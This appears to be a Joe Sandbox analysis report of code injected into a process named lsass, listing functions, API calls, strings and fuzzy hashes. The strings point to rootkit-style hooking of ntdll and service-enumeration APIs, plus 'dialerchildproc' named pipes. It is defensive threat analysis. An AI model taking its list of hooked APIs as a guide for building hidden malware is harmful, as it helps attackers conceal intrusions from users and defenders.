API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 7e46c3b6a7d5331c3c7ee4b2a60feacf72bead3f45980719ba22298b4a17c25e
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 42514D76208B8487EB54CF62E5483DA77A2F799F9DF448124DA4A0B758EF3DC259CB00

Function 00000213BDCE1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000213BDCE1D1F

Part of subcall function 00000213BDCE1FD4: GetModuleHandleA.KERNEL32 ref: 00000213BDCE1FEC
Part of subcall function 00000213BDCE1FD4: GetProcAddress.KERNEL32 ref: 00000213BDCE1FFD

Part of subcall function 00000213BDCE5B30: GetCurrentThreadId.KERNEL32 ref: 00000213BDCE5B6B

Strings

ntdll.dll, xrefs: 00000213BDCE1D2D
EnumServicesStatusExW, xrefs: 00000213BDCE1E11, 00000213BDCE1E32
NtQueryDirectoryFileEx, xrefs: 00000213BDCE1D9C
NtQueryDirectoryFile, xrefs: 00000213BDCE1D7F
advapi32.dll, xrefs: 00000213BDCE1DF7, 00000213BDCE1E18
NtEnumerateValueKey, xrefs: 00000213BDCE1DD6
EnumServiceGroupW, xrefs: 00000213BDCE1DF0
NtResumeThread, xrefs: 00000213BDCE1D62
NtDeviceIoControlFile, xrefs: 00000213BDCE1E56
sechost.dll, xrefs: 00000213BDCE1E39
NtEnumerateKey, xrefs: 00000213BDCE1DB9
NtQuerySystemInformation, xrefs: 00000213BDCE1D45

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 8f728ad5951c134e967336f2fc31f6c713d23b700de02865da5b7b8926e8932e
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: D431E3B411998EA2EF01EF65EC697D4A323BB7435CF801023A44D0656AFF7A934DC391

Function 00000213BDCB6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000213BDCB6938
__scrt_acquire_startup_lock.LIBCMT ref: 00000213BDCB698A
_RTC_Initialize.LIBCMT ref: 00000213BDCB69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000213BDCB69DE
__scrt_release_startup_lock.LIBCMT ref: 00000213BDCB6A09

Strings

`eh vector copy constructor iterator', xrefs: 00000213BDCB6A3B
scriptor', xrefs: 00000213BDCB6B39, 00000213BDCB6BB2, 00000213BDCB6BEC
`dynamic initializer for ', xrefs: 00000213BDCB69C7
`eh vector vbase copy constructor iterator', xrefs: 00000213BDCB69EE

Memory Dump Source

Source File: 00000029.00000002.3061237265.00000213BDCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdcb0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: f8cd9e1dbe3062c5f4ba020bde542ea39c0e4a61bba442b43b9d51f3a524e4ca
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 0781F4317DC24986FE50EB25D4493D966A3E7B4B8CF284025DA494B7D6FB3BCB468700

Function 00000213BDCECE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000213BDCECE37
FlsGetValue.KERNEL32(?,?,?,00000213BDCF0A6B,?,?,?,00000213BDCF045C,?,?,?,00000213BDCEC84F), ref: 00000213BDCECE4C
FlsSetValue.KERNEL32(?,?,?,00000213BDCF0A6B,?,?,?,00000213BDCF045C,?,?,?,00000213BDCEC84F), ref: 00000213BDCECE6D
FlsSetValue.KERNEL32(?,?,?,00000213BDCF0A6B,?,?,?,00000213BDCF045C,?,?,?,00000213BDCEC84F), ref: 00000213BDCECE9A
FlsSetValue.KERNEL32(?,?,?,00000213BDCF0A6B,?,?,?,00000213BDCF045C,?,?,?,00000213BDCEC84F), ref: 00000213BDCECEAB
FlsSetValue.KERNEL32(?,?,?,00000213BDCF0A6B,?,?,?,00000213BDCF045C,?,?,?,00000213BDCEC84F), ref: 00000213BDCECEBC
SetLastError.KERNEL32 ref: 00000213BDCECED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000213BDCF0A6B,?,?,?,00000213BDCF045C,?,?,?,00000213BDCEC84F), ref: 00000213BDCECF0D
FlsSetValue.KERNEL32(?,?,00000001,00000213BDCEECCC,?,?,?,?,00000213BDCEBF9F,?,?,?,?,?,00000213BDCE7AB0), ref: 00000213BDCECF2C

Part of subcall function 00000213BDCED6CC: HeapAlloc.KERNEL32 ref: 00000213BDCED721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000213BDCF0A6B,?,?,?,00000213BDCF045C,?,?,?,00000213BDCEC84F), ref: 00000213BDCECF54

Part of subcall function 00000213BDCED744: HeapFree.KERNEL32 ref: 00000213BDCED75A
Part of subcall function 00000213BDCED744: GetLastError.KERNEL32 ref: 00000213BDCED764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000213BDCF0A6B,?,?,?,00000213BDCF045C,?,?,?,00000213BDCEC84F), ref: 00000213BDCECF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000213BDCF0A6B,?,?,?,00000213BDCF045C,?,?,?,00000213BDCEC84F), ref: 00000213BDCECF76

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 9cfdffa4e4f0b56bcb752030e4244594aa8fca63efa0d4e671618fb2b64398c0
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 85418DB424928C43FE68E371565E3F962435BB47BCF144738A83A476D7FE3AAB414600

Function 00000213BDCE2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000213BDCE2259
GetCurrentProcessId.KERNEL32 ref: 00000213BDCE2263

Part of subcall function 00000213BDCE1934: OpenProcess.KERNEL32 ref: 00000213BDCE1952
Part of subcall function 00000213BDCE1934: IsWow64Process.KERNEL32 ref: 00000213BDCE1968
Part of subcall function 00000213BDCE1934: CloseHandle.KERNEL32 ref: 00000213BDCE1983

CreateFileW.KERNEL32 ref: 00000213BDCE22BC
WriteFile.KERNEL32 ref: 00000213BDCE22E4
ReadFile.KERNEL32 ref: 00000213BDCE2303
CloseHandle.KERNEL32 ref: 00000213BDCE230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 00000213BDCE228C
\\.\pipe\dialerchildproc32, xrefs: 00000213BDCE2293

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 6b7d2558ae4a3ac574cfc8a772d118d668cf07695c60263a9c00d2c5ba11f754
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 2E213D7261864483EF10CB25F44879967A2F799BACF504215EA5906BA8EF3DC349CB04

Function 00000213BDCB9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000213BDCB99A1

Part of subcall function 00000213BDCBA814: __GetUnwindTryBlock.LIBCMT ref: 00000213BDCBA857
Part of subcall function 00000213BDCBA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000213BDCBA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000213BDCB9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000213BDCB9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000213BDCB9DDA

Strings

csm, xrefs: 00000213BDCB99BB
csm, xrefs: 00000213BDCB9A9C
csm, xrefs: 00000213BDCB9A22

Memory Dump Source

Source File: 00000029.00000002.3061237265.00000213BDCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdcb0000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: f386ab9bdd8cc4c87b67ff9b5e600b282352f279eca3ceb4b3cc66de4f1deea9
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 87E1AD32648B888AEF60DB65D4883DD77A2F769B8CF100115EE8957B99EF36C391C700

Function 00000213BDCEA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000213BDCEA5A1

Part of subcall function 00000213BDCEB414: __GetUnwindTryBlock.LIBCMT ref: 00000213BDCEB457
Part of subcall function 00000213BDCEB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000213BDCEB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000213BDCEA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000213BDCEA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000213BDCEA9DA

Strings

csm, xrefs: 00000213BDCEA622
csm, xrefs: 00000213BDCEA5BB
csm, xrefs: 00000213BDCEA69C

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: a4356b529713084a557e2c4423f012a0144f846992504cd020869ae66375d7b3
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: E0E19BB26087888BEF20DB6594883DD77A6F76578CF100126EA8D97B95EB35E381C704

Function 00000213BDCEF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00000213BDCEF510
GetProcAddress.KERNEL32 ref: 00000213BDCEF51C

Strings

ext-ms-, xrefs: 00000213BDCEF46D
api-ms-, xrefs: 00000213BDCEF45A

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 64b1116dec4a1fc2bb3371278ef814e94841622c5338f0fb36631d38e615d017
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 7941F6B231AA0442FE16CB56A8087D52393FB65BACF1442399D0D8B789FE3ED7458354

Function 00000213BDCE104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000213BDCE10B1
RegEnumValueW.ADVAPI32 ref: 00000213BDCE1117
GetProcessHeap.KERNEL32 ref: 00000213BDCE115A
HeapAlloc.KERNEL32 ref: 00000213BDCE1168
GetProcessHeap.KERNEL32 ref: 00000213BDCE1185
HeapFree.KERNEL32 ref: 00000213BDCE1193

Strings

d, xrefs: 00000213BDCE10D6

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: c9b898f511c2e52726208957a962c9b291cdc106b1d13140a09b1ea003ed6b20
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 9E417273218B84C6EB60CF21E4487DE77A2F399B9CF048125DA894B758EF39D659CB00

Function 00000213BDCED068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000213BDCEC7DE,?,?,?,?,?,?,?,?,00000213BDCECF9D,?,?,00000001), ref: 00000213BDCED087
FlsSetValue.KERNEL32(?,?,?,00000213BDCEC7DE,?,?,?,?,?,?,?,?,00000213BDCECF9D,?,?,00000001), ref: 00000213BDCED0A6
FlsSetValue.KERNEL32(?,?,?,00000213BDCEC7DE,?,?,?,?,?,?,?,?,00000213BDCECF9D,?,?,00000001), ref: 00000213BDCED0CE
FlsSetValue.KERNEL32(?,?,?,00000213BDCEC7DE,?,?,?,?,?,?,?,?,00000213BDCECF9D,?,?,00000001), ref: 00000213BDCED0DF
FlsSetValue.KERNEL32(?,?,?,00000213BDCEC7DE,?,?,?,?,?,?,?,?,00000213BDCECF9D,?,?,00000001), ref: 00000213BDCED0F0

Strings

1%, xrefs: 00000213BDCED0CE
Y%, xrefs: 00000213BDCED0A6

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 19c205c0411bc615aa3bccdf6f4f64bbad6ab17fba574e3ff0c824cae7453082
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 801184B070D24843FD64D725655E3E962475BB43FCF188338A87D466DAFE3AE7024600

Function 00000213BDCE7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000213BDCE7538
__scrt_acquire_startup_lock.LIBCMT ref: 00000213BDCE758A
_RTC_Initialize.LIBCMT ref: 00000213BDCE75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000213BDCE75DE
__scrt_release_startup_lock.LIBCMT ref: 00000213BDCE7609

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 551094e2023b39dc9ace01dde74fdb1ba5573d69ed1bde9d232f088fcbd9e271
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 2B81D3B160C24987FE60EB66A44D3D92293ABB578CF344439E944477D6FB3BEB468700

Function 00000213BDCE9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000213BDCE9E49
GetLastError.KERNEL32 ref: 00000213BDCE9E57
LoadLibraryExW.KERNEL32 ref: 00000213BDCE9E81
FreeLibrary.KERNEL32 ref: 00000213BDCE9EC7
GetProcAddress.KERNEL32 ref: 00000213BDCE9ED3

Strings

api-ms-, xrefs: 00000213BDCE9E69

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 4d4d0faf7020efbe67ed0a855dfe3d6003a087379504cbf48fb87940a6e137d3
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 6631C57121A744D2EE25DB42A4087D57296F768BACF590935DE1E0B394FF3AE7458300

Function 00000213BDCF3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000213BDCF3DE5
GetLastError.KERNEL32 ref: 00000213BDCF3DF1
CloseHandle.KERNEL32 ref: 00000213BDCF3E09
CreateFileW.KERNEL32 ref: 00000213BDCF3E34
WriteConsoleW.KERNEL32 ref: 00000213BDCF3E53

Strings

CONOUT$, xrefs: 00000213BDCF3E15

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 1e37ad57197f2f5fd627e52480ce6183fe70d503e9319598513a9094b24cedb1
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: DC118631718B4086EB50CB52F8583D976A1F7A8FECF144214EE5A8B798EF39C7188744

Function 00000213BDCE3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000213BDCE379E
GetCurrentProcess.KERNEL32 ref: 00000213BDCE37CC
VirtualProtectEx.KERNEL32 ref: 00000213BDCE37EE
GetCurrentProcess.KERNEL32 ref: 00000213BDCE3809
VirtualProtectEx.KERNEL32 ref: 00000213BDCE382A

Strings

wr, xrefs: 00000213BDCE37FF

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 12712e2fa7eb8b967a2fcefc972e563151717b3967eefe160898bd9f6f4aa3e4
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: E7115A76308B4583EF14DB11E4082A962B2F799B8DF14012ADE890B758FF3ED709C704

Function 00000213BDCE5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000213BDCE5B6B
GetThreadContext.KERNEL32 ref: 00000213BDCE5CD5

Part of subcall function 00000213BDCE5960: GetCurrentThreadId.KERNEL32 ref: 00000213BDCE5964

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 3446894e02afeb19a9966952644c75a0c5e86968940c19ee8a431a5bd0db41b7
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: B6D18176219B4882DA70DB06E49439A7BA1F7D8B8CF100126EACD47BA9DF3DD751CB40

Function 00000213BDCE2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000213BDCE2F27
HeapAlloc.KERNEL32 ref: 00000213BDCE2F3A
StrCmpNIW.SHLWAPI ref: 00000213BDCE2FAF
GetProcessHeap.KERNEL32 ref: 00000213BDCE3015
HeapFree.KERNEL32 ref: 00000213BDCE3023

Strings

dialer, xrefs: 00000213BDCE2FA8

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 44251474c1ee8a42ccd6e3d1f93cc1b766dec72a69286a1cba37760e0419152a
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: FC31B572709B59C3EE14CF1695487A9A7A2FB68B8CF044030AE4807B55FF36E7658700

Function 00000213BDCECFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000213BDCECFAF
FlsSetValue.KERNEL32(?,?,?,00000213BDCED6B5,?,?,?,?,00000213BDCED778), ref: 00000213BDCECFE5
FlsSetValue.KERNEL32(?,?,?,00000213BDCED6B5,?,?,?,?,00000213BDCED778), ref: 00000213BDCED012
FlsSetValue.KERNEL32(?,?,?,00000213BDCED6B5,?,?,?,?,00000213BDCED778), ref: 00000213BDCED023
FlsSetValue.KERNEL32(?,?,?,00000213BDCED6B5,?,?,?,?,00000213BDCED778), ref: 00000213BDCED034
SetLastError.KERNEL32 ref: 00000213BDCED04F

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 77ac6954afd6c966781107e5719d7c64fe3f53195b268d9a5bd80fbe793f95d1
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 08118EB024D28843FE24D321665E3E962435BB47BCF144738A87A477DAFE3AAB018700

Function 00000213BDCE199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000213BDCE19C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000213BDCE19E0
PathFindFileNameW.SHLWAPI ref: 00000213BDCE19EF
lstrlenW.KERNEL32 ref: 00000213BDCE19FB
StrCpyW.SHLWAPI ref: 00000213BDCE1A0E
CloseHandle.KERNEL32 ref: 00000213BDCE1A1C

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 3eb0d0c2679584ddfa503f59038269ae77ed88556fc385ff5f1d0553037a01c9
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: F0015B71308A4482EA20DB52A4487D963A2F798BCCF588035DE4A47758EF39CB49C700

Function 00000213BDCE36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000213BDCE36E4
GetCurrentProcess.KERNEL32 ref: 00000213BDCE36F2
VirtualProtectEx.KERNEL32 ref: 00000213BDCE3714
GetCurrentProcess.KERNEL32 ref: 00000213BDCE3732
VirtualProtectEx.KERNEL32 ref: 00000213BDCE3753
TerminateThread.KERNEL32 ref: 00000213BDCE3762

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 88d3306e3c19d980f3158101e8290f900e8424f24f65f37777eb6f4afb0b7499
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 0B015B7421AB4482EF24DB21F81D79632A2FB65B8EF140428C9890B758FF3EC7088714

Function 00000213BDCE9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000213BDCE9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000213BDCE90A8
RtlUnwindEx.NTDLL ref: 00000213BDCE90F7

Strings

csm, xrefs: 00000213BDCE908E
f, xrefs: 00000213BDCE9026

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
